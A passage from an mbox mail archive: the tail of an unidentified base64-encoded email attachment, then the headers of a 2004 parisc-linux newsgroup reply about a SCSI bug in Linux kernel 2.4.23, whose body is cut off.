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


------=_NextPart_000_0010_00003C3E.000050E9--



--===========================_ _= 6200561(16034)1082989660--



From - Thu Nov 08 21:31:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Bug in kernel 2.4.23 concerning use of SCSI
Date: Mon, 26 Apr 2004 18:36:12 +0200
Lines: 171
Approved: news@gmane.org
Message-ID: <408D378B00000029@ocpmta1.freegates.net>
References: <OFEE32CD13.5A2A6DCE-ONC1256E82.004D2D75@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623409 8993 80.91.229.3 (22 Nov 2014 02:30:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:09 +0000 (UTC)
To: JKonrad@linotype.com, parisc-linux@lists.parisc-linux.org
